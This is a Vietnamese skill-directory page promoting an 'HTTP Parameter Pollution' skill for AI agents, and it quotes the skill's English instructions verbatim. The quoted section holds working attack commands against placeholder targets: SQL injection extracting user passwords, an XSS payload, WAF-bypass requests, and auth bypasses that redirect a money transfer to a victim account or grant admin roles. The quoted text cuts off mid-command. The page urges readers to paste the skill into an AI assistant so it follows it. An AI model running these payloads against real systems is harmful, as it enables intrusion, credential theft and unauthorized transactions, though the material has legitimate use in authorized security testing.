Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14065

hpp

Skill này làm gì

Skill này giải thích cách các tham số yêu cầu bị lặp có thể được tường lửa, máy chủ và ứng dụng đọc khác nhau. Dành cho người kiểm thử bảo mật kiểm tra xem sự khác biệt đó có để lọt tấn công hoặc kiểm tra truy cập không.

Khi nào nên dùng

  • ✓Khi một tường lửa và một ứng dụng có thể đọc các tham số URL hoặc form lặp lại theo cách khác nhau.
  • ✓Khi một kiểm tra đăng nhập hoặc truy cập dùng một tham số có thể bị lặp.
  • ✓Khi bạn muốn kiểm tra xem một bộ lọc bảo mật có thể bị vượt qua bằng các giá trị lặp lại không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem việc gửi tham số id lặp lại trong ứng dụng của tôi có thay đổi tài khoản nào bị truy cập không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi các tham số trùng lặp và so sánh các giá trị mà mỗi tầng dùng, tìm khoảng cách giữa những gì bộ lọc kiểm tra và những gì ứng dụng thực hiện.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

1. Parser precedence table

When ?id=1&id=2 (or duplicated body params) is received:

Stack request.GET['id'] / equivalent getParameterValues / list view
PHP ($_GET) last wins (2) $_GET['id[]'] only; otherwise the dup is dropped
ASP.NET (Request.QueryString["id"]) comma-concatenated ("1,2") GetValues returns both
ASP Classic comma-concatenated —
Java Servlet (getParameter) first (1) getParameterValues returns both
Java Spring @RequestParam String first List<String> binds both
Node.js qs (Express default) array (["1","2"]) n/a
Node.js querystring (legacy) array n/a
Python Flask request.args.get first getlist returns both
Python Django request.GET['id'] last getlist returns both
Python urllib.parse.parse_qs list (["1","2"]) —
Ruby on Rails last params[:id] is the last; arrays via id[]=
Go net/http r.URL.Query().Get first ["id"] returns all
Perl CGI param("id") first in scalar, list in list context —
nginx $arg_id first —
Apache mod_rewrite %{QUERY_STRING} raw — passes both —
AWS API Gateway → Lambda proxy last in queryStringParameters, all in multiValueQueryStringParameters —
Cloudflare WAF inspects all values for rule match (generally) —
AWS WAF inspects each occurrence —
ModSecurity (CRS) inspects each — but anomaly score per rule —

The exploitable pattern: WAF/proxy reads value A, app reads value B.

2. Detection

# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup

Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.

for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done

3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"

Mixed source confusion — GET vs POST:

# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'

4. Server-side HPP — auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
Câu hỏi thường gặp

Skill so sánh những web framework nào?

Nó có bảng so sánh cách PHP, ASP.NET, Java, Node.js, Python và Ruby chọn một giá trị từ các tham số lặp lại.

Lỗi này thường nghiêm trọng không khi đứng riêng?

Skill cho biết nó thường ở mức thấp hoặc trung bình khi đứng riêng, và nghiêm trọng hơn khi kết hợp với các tấn công khác.

Nó chỉ áp dụng cho URL không?

Không. Nó cũng bao gồm các tham số trong phần thân form bị lặp.

Chi tiết

Mô tả gốc của tác giả

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14065
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự